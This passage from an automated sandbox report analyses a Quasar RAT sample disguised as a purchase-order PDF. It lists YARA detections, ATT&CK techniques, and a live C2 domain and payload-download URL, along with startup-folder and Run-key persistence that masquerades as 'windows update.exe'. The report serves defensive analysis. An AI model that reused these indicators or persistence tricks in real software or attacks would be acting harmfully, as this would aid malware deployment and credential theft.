                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll VolumeInformationJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformationJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformationJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeQueries volume information: C:\Users\user\AppData\Roaming\StackTrace.exe VolumeInformationJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformationJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                  Source: C:\Users\user\Desktop\________.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                  Stealing of Sensitive Information

                  barindex
                  Yara detected Quasar RAT
                  Source: Yara matchFile source: 3.2.StackTrace.exe.39416c0.4.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.________.exe.3c6c0e0.4.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.________.exe.3c6c0e0.4.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 3.2.StackTrace.exe.39416c0.4.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000003.00000002.1905206220.00000000028C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000005.00000002.1913477262.0000000000720000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.1715918413.0000000002A85000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000003.00000002.1905206220.00000000025C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.1715918413.0000000002788000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000001.00000002.2925605951.00000000030DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000003.00000002.1918626723.0000000003818000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000005.00000002.1913477262.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000003.00000002.1949794905.0000000007162000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.1729686962.0000000003B43000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: ________.exe PID: 6912, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: InstallUtil.exe PID: 3492, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: StackTrace.exe PID: 6120, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: InstallUtil.exe PID: 928, type: MEMORYSTR

                  Remote Access Functionality

                  barindex
                  Yara detected Quasar RAT
                  Source: Yara matchFile source: 3.2.StackTrace.exe.39416c0.4.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.________.exe.3c6c0e0.4.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.________.exe.3c6c0e0.4.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 3.2.StackTrace.exe.39416c0.4.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000003.00000002.1905206220.00000000028C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000005.00000002.1913477262.0000000000720000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.1715918413.0000000002A85000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000003.00000002.1905206220.00000000025C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.1715918413.0000000002788000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000001.00000002.2925605951.00000000030DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000003.00000002.1918626723.0000000003818000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000005.00000002.1913477262.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000003.00000002.1949794905.0000000007162000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.1729686962.0000000003B43000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: ________.exe PID: 6912, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: InstallUtil.exe PID: 3492, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: StackTrace.exe PID: 6120, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: InstallUtil.exe PID: 928, type: MEMORYSTR

                  Mitre Att&ck Matrix

                  ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                  Gather Victim Identity Information111
                  Scripting                  		Valid Accounts21
                  Windows Management Instrumentation                  		111
                  Scripting                  		211
                  Process Injection                  		1
                  Masquerading                  		OS Credential Dumping211
                  Security Software Discovery                  		Remote Services1
                  Archive Collected Data                  		11
                  Encrypted Channel                  		Exfiltration Over Other Network MediumAbuse Accessibility Features
                  CredentialsDomainsDefault Accounts1
                  Scheduled Task/Job                  		1
                  Scheduled Task/Job                  		1
                  Scheduled Task/Job                  		1
                  Disable or Modify Tools                  		LSASS Memory1
                  Process Discovery                  		Remote Desktop ProtocolData from Removable Media1
                  Non-Standard Port                  		Exfiltration Over BluetoothNetwork Denial of Service
                  Email AddressesDNS ServerDomain AccountsAt21
                  Registry Run Keys / Startup Folder                  		21
                  Registry Run Keys / Startup Folder                  		41
                  Virtualization/Sandbox Evasion                  		Security Account Manager41
                  Virtualization/Sandbox Evasion                  		SMB/Windows Admin SharesData from Network Shared Drive1
                  Ingress Tool Transfer                  		Automated ExfiltrationData Encrypted for Impact
                  Employee NamesVirtual Private ServerLocal AccountsCron1
                  DLL Side-Loading                  		1
                  DLL Side-Loading                  		211
                  Process Injection                  		NTDS1
                  Application Window Discovery                  		Distributed Component Object ModelInput Capture2
                  Non-Application Layer Protocol                  		Traffic DuplicationData Destruction
                  Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                  Hidden Files and Directories                  		LSA Secrets1
                  System Network Configuration Discovery                  		SSHKeylogging113
                  Application Layer Protocol                  		Scheduled TransferData Encrypted for Impact
                  Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts21
                  Obfuscated Files or Information                  		Cached Domain Credentials1
                  File and Directory Discovery                  		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                  DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                  Software Packing                  		DCSync23
                  System Information Discovery                  		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                  Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
                  DLL Side-Loading                  		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

                  Behavior Graph

                  Hide Legend

                  Legend:

                  • Process
                  • Signature
                  • Created File
                  • DNS/IP Info
                  • Is Dropped
                  • Is Windows Process
                  • Number of created Registry Values
                  • Number of created Files
                  • Visual Basic
                  • Delphi
                  • Java
                  • .Net C# or VB.NET
                  • C, C++ or other language
                  • Is malicious
                  • Internet
                  behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1557955 Sample: ________.exe Startdate: 18/11/2024 Architecture: WINDOWS Score: 100 29 aboushagor.ydns.eu 2->29 31 www.oleonidas.gr 2->31 33 3 other IPs or domains 2->33 51 Suricata IDS alerts for network traffic 2->51 53 Found malware configuration 2->53 55 Malicious sample detected (through community Yara rule) 2->55 57 13 other signatures 2->57 8 ________.exe 15 5 2->8         started        13 wscript.exe 1 2->13         started        signatures3 process4 dnsIp5 35 oleonidas.gr 185.78.221.73, 443, 49730, 49734 IPHOSTGRIpDomainGR Greece 8->35 23 C:\Users\user\AppData\...\StackTrace.exe, PE32 8->23 dropped 25 C:\Users\...\StackTrace.exe:Zone.Identifier, ASCII 8->25 dropped 27 C:\Users\user\AppData\...\StackTrace.vbs, ASCII 8->27 dropped 59 Drops VBS files to the startup folder 8->59 61 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 8->61 63 Writes to foreign memory regions 8->63 65 Injects a PE file into a foreign processes 8->65 15 InstallUtil.exe 15 2 8->15         started        67 Windows Scripting host queries suspicious COM object (likely to drop second stage) 13->67 19 StackTrace.exe 14 2 13->19         started        file6 signatures7 process8 dnsIp9 37 aboushagor.ydns.eu 69.174.98.113, 49731, 6542 ASN-QUADRANET-GLOBALUS United States 15->37 39 ipwho.is 195.201.57.90, 443, 49733 HETZNER-ASDE Germany 15->39 41 Hides that the sample has been downloaded from the Internet (zone.identifier) 15->41 43 Multi AV Scanner detection for dropped file 19->43 45 Machine Learning detection for dropped file 19->45 47 Writes to foreign memory regions 19->47 49 Injects a PE file into a foreign processes 19->49 21 InstallUtil.exe 3 19->21         started        signatures10 process11

                  Screenshots

                  Thumbnails

                  This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                  windows-stand

                  Antivirus, Machine Learning and Genetic Malware Detection

                  Initial Sample

                  SourceDetectionScannerLabelLink
                  ________.exe21%ReversingLabs
                  ________.exe100%Joe Sandbox ML

                  Dropped Files

                  SourceDetectionScannerLabelLink
                  C:\Users\user\AppData\Roaming\StackTrace.exe100%Joe Sandbox ML
                  C:\Users\user\AppData\Roaming\StackTrace.exe21%ReversingLabs

                  Unpacked PE Files

                  ⊘No Antivirus matches

                  Domains

                  ⊘No Antivirus matches

                  URLs

                  SourceDetectionScannerLabelLink
                  https://entityframework-extensions.net/md5-exception0%Avira URL Cloudsafe
                  https://bulk-operations.net0%Avira URL Cloudsafe
                  http://www.zzzprojects.com0%Avira URL Cloudsafe
                  aboushagor.ydns.eu100%Avira URL Cloudmalware
                  https://entityframework-extensions.net/)0%Avira URL Cloudsafe
                  https://dapper-plus.net/getting-started-mapping#instance-context-mapping.0%Avira URL Cloudsafe
                  https://dapper-plus.net/pricing.0%Avira URL Cloudsafe
                  https://www.oleonidas.gr0%Avira URL Cloudsafe
                  https://bulk-operations.net/pricing.0%Avira URL Cloudsafe
                  https://www.oleonidas.gr/mansa/Dhmwdw.mp30%Avira URL Cloudsafe
                  http://entityframework-plus.net/0%Avira URL Cloudsafe
                  https://entityframework-extensions.net/pricing.0%Avira URL Cloudsafe
                  https://dapper-plus.net/getting-started-mapping#instance-context-mapping0%Avira URL Cloudsafe
                  https://dapper-plus.net0%Avira URL Cloudsafe
                  https://entityframework-extensions.net/include-graph).0%Avira URL Cloudsafe
                  https://entityframework-extensions.net/md5-exceptionBThe0%Avira URL Cloudsafe
                  https://linqtosql-plus.net/pricing.0%Avira URL Cloudsafe

                  Domains and IPs

                  Contacted Domains

                  NameIPActiveMaliciousAntivirus DetectionReputation
                  aboushagor.ydns.eu
                  		69.174.98.113
                  		truetrue
                    		unknown
                    bg.microsoft.map.fastly.net
                    		199.232.214.172
                    		truefalse
                      		high
                      oleonidas.gr
                      		185.78.221.73
                      		truefalse
                        		unknown
                        ipwho.is
                        		195.201.57.90
                        		truefalse
                          		high
                          www.oleonidas.gr
                          		unknown
                          		unknownfalse
                            		unknown

                            Contacted URLs

                            NameMaliciousAntivirus DetectionReputation
                            aboushagor.ydns.eutrue
                            • Avira URL Cloud: malware
                            		unknown
                            https://www.oleonidas.gr/mansa/Dhmwdw.mp3false
                            • Avira URL Cloud: safe
                            		unknown
                            https://ipwho.is/false
                              		high

                              URLs from Memory and Binaries

                              NameSourceMaliciousAntivirus DetectionReputation
                              https://api.ipify.org/________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1729686962.0000000003B43000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1918626723.0000000003818000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1949794905.0000000007162000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.1913477262.0000000000402000.00000040.00000400.00020000.00000000.sdmpfalse
                                		high
                                https://entityframework-extensions.net/md5-exception________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://bulk-operations.net________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://stackoverflow.com/q/14436606/23354________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1729686962.0000000003FE6000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1729686962.0000000003B43000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002788000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1742477768.0000000006840000.00000004.08000000.00040000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2925605951.0000000002ECD000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1918626723.0000000003818000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000025C8000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1949794905.0000000007162000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.1913477262.0000000000402000.00000040.00000400.00020000.00000000.sdmpfalse
                                  		high
                                  https://dapper-plus.net/getting-started-mapping#instance-context-mapping.________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://github.com/mgravell/protobuf-netJ________.exe, 00000000.00000002.1729686962.0000000003FE6000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1742477768.0000000006840000.00000004.08000000.00040000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1918626723.0000000003F3B000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    https://dapper-plus.net/pricing.________.exe, StackTrace.exe.0.drfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://schemas.datacontract.org/2004/07/InstallUtil.exe, 00000001.00000002.2925605951.00000000030DA000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      http://ipwho.isdInstallUtil.exe, 00000001.00000002.2925605951.000000000308E000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        https://www.nuget.org/packages/NetTopologySuite.IO.SqlServerBytes/________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          https://github.com/mgravell/protobuf-net________.exe, 00000000.00000002.1729686962.0000000003FE6000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1742477768.0000000006840000.00000004.08000000.00040000.00000000.sdmpfalse
                                            		high
                                            https://entityframework-extensions.net/)________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.zzzprojects.com________.exe, StackTrace.exe.0.drfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            https://bulk-operations.net/pricing.________.exe, StackTrace.exe.0.drfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            https://www.oleonidas.gr________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            https://entityframework-extensions.net/include-graph).________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            https://entityframework-extensions.net/pricing.________.exe, StackTrace.exe.0.drfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            https://entityframework-extensions.net/md5-exceptionBThe________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            https://dapper-plus.net/getting-started-mapping#instance-context-mapping________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://schemas.datacontract.org/2004/07/dInstallUtil.exe, 00000001.00000002.2925605951.00000000030DA000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              https://linqtosql-plus.net/pricing.________.exe, StackTrace.exe.0.drfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://github.com/mgravell/protobuf-neti________.exe, 00000000.00000002.1729686962.0000000003FE6000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1742477768.0000000006840000.00000004.08000000.00040000.00000000.sdmpfalse
                                                		high
                                                https://stackoverflow.com/q/11564914/23354;________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1729686962.0000000003FE6000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1729686962.0000000003B43000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1742477768.0000000006840000.00000004.08000000.00040000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1918626723.0000000003818000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1949794905.0000000007162000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.1913477262.0000000000402000.00000040.00000400.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://stackoverflow.com/q/2152978/23354________.exe, 00000000.00000002.1729686962.0000000003FE6000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1742477768.0000000006840000.00000004.08000000.00040000.00000000.sdmpfalse
                                                    		high
                                                    https://ipwho.isInstallUtil.exe, 00000001.00000002.2925605951.000000000307C000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://entityframework-plus.net/________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      https://github.com/npgsql/npgsql/issues/2623#issuecomment-627622215________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://stackoverflow.com/q/2152978/23354sCannot________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1729686962.0000000003B43000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1918626723.0000000003818000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1949794905.0000000007162000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.1913477262.0000000000402000.00000040.00000400.00020000.00000000.sdmpfalse
                                                          		high
                                                          http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2925605951.0000000002E5C000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high
                                                            http://ipwho.isInstallUtil.exe, 00000001.00000002.2925605951.000000000308E000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://dapper-plus.net________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              • Avira URL Cloud: safe
                                                              		unknown

                                                              World Map of Contacted IPs

                                                              • No. of IPs < 25%
                                                              • 25% < No. of IPs < 50%
                                                              • 50% < No. of IPs < 75%
                                                              • 75% < No. of IPs

                                                              Public IPs

                                                              IPDomainCountryFlagASNASN NameMalicious
                                                              69.174.98.113
                                                              		aboushagor.ydns.euUnited States
                                                              		8100ASN-QUADRANET-GLOBALUStrue
                                                              185.78.221.73
                                                              		oleonidas.grGreece
                                                              		47521IPHOSTGRIpDomainGRfalse
                                                              195.201.57.90
                                                              		ipwho.isGermany
                                                              		24940HETZNER-ASDEfalse

                                                              General Information

                                                              Joe Sandbox version:41.0.0 Charoite
                                                              Analysis ID:1557955
                                                              Start date and time:2024-11-18 19:23:07 +01:00
                                                              Joe Sandbox product:CloudBasic
                                                              Overall analysis duration:0h 7m 42s
                                                              Hypervisor based Inspection enabled:false
                                                              Report type:full
                                                              Cookbook file name:default.jbs
                                                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                              Number of analysed new started processes analysed:9
                                                              Number of new started drivers analysed:0
                                                              Number of existing processes analysed:0
                                                              Number of existing drivers analysed:0
                                                              Number of injected processes analysed:0
                                                              Technologies:
                                                              • HCA enabled
                                                              • EGA enabled
                                                              • AMSI enabled
                                                              Analysis Mode:default
                                                              Analysis stop reason:Timeout
                                                              Sample name:________.exe
                                                              renamed because original name is a hash value
                                                              Original Sample Name:New Purchase Order-0304243220- SMART SOURCING INC.pdf____________________________________________________.exe
                                                              Detection:MAL
                                                              Classification:mal100.troj.expl.evad.winEXE@8/6@3/3
                                                              EGA Information:
                                                              • Successful, ratio: 100%
                                                              HCA Information:
                                                              • Successful, ratio: 93%
                                                              • Number of executed functions: 401
                                                              • Number of non-executed functions: 27
                                                              Cookbook Comments:
                                                              • Found application associated with file extension: .exe

                                                              Warnings

                                                              • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                                              • Excluded IPs from analysis (whitelisted): 199.232.214.172
                                                              • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
                                                              • Not all processes where analyzed, report is missing behavior information
                                                              • Report size exceeded maximum capacity and may have missing behavior information.
                                                              • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                              • Report size getting too big, too many NtOpenKeyEx calls found.
                                                              • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                              • Report size getting too big, too many NtQueryValueKey calls found.
                                                              • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                              • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                              • VT rate limit hit for: ________.exe

                                                              Simulations

                                                              Behavior and APIs

                                                              TimeTypeDescription
                                                              13:23:58API Interceptor25x Sleep call for process: ________.exe modified
                                                              13:24:06API Interceptor1x Sleep call for process: InstallUtil.exe modified
                                                              13:24:11API Interceptor61x Sleep call for process: StackTrace.exe modified
                                                              18:24:03AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StackTrace.vbs
                                                              18:24:16AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run svchost "C:\Users\user\AppData\Roaming\SubDir\windows update.exe"
                                                              18:24:24AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run svchost "C:\Users\user\AppData\Roaming\SubDir\windows update.exe"

                                                              Joe Sandbox View / Context

                                                              IPs

                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                              185.78.221.73Order88983273293729387293828PDF.exeGet hashmaliciousQuasarBrowse
                                                                Order88983273293729387293828PDF.exeGet hashmaliciousQuasarBrowse
                                                                  e-dekont (72).pdf(#U007e56 KB).exeGet hashmaliciousSnake KeyloggerBrowse
                                                                    DHL Parcel-CBM is 3.1- Total weight is 435kgs.==WOE1910053_____________________________.exeGet hashmaliciousDarkCloudBrowse
                                                                      RFQ 4748.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                        PurchOrd_75238572.pdf.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                          195.201.57.90SPt4FUjZMt.exeGet hashmaliciousAsyncRAT, Luca Stealer, MicroClip, PythonCryptoHijacker, RedLineBrowse
                                                                          • /?output=json
                                                                          765iYbgWn9.exeGet hashmaliciousLuca StealerBrowse
                                                                          • /?output=json
                                                                          765iYbgWn9.exeGet hashmaliciousLuca StealerBrowse
                                                                          • /?output=json
                                                                          WfKynArKjH.exeGet hashmaliciousAsyncRAT, Luca Stealer, MicroClip, RedLineBrowse
                                                                          • /?output=json
                                                                          ubes6SC7Vd.exeGet hashmaliciousUnknownBrowse
                                                                          • ipwhois.app/xml/
                                                                          cOQD62FceM.exeGet hashmaliciousLuca Stealer, Rusty StealerBrowse
                                                                          • /?output=json
                                                                          Clipper.exeGet hashmaliciousUnknownBrowse
                                                                          • /?output=json
                                                                          cOQD62FceM.exeGet hashmaliciousLuca StealerBrowse
                                                                          • /?output=json
                                                                          Cryptor.exeGet hashmaliciousLuca StealerBrowse
                                                                          • /?output=json
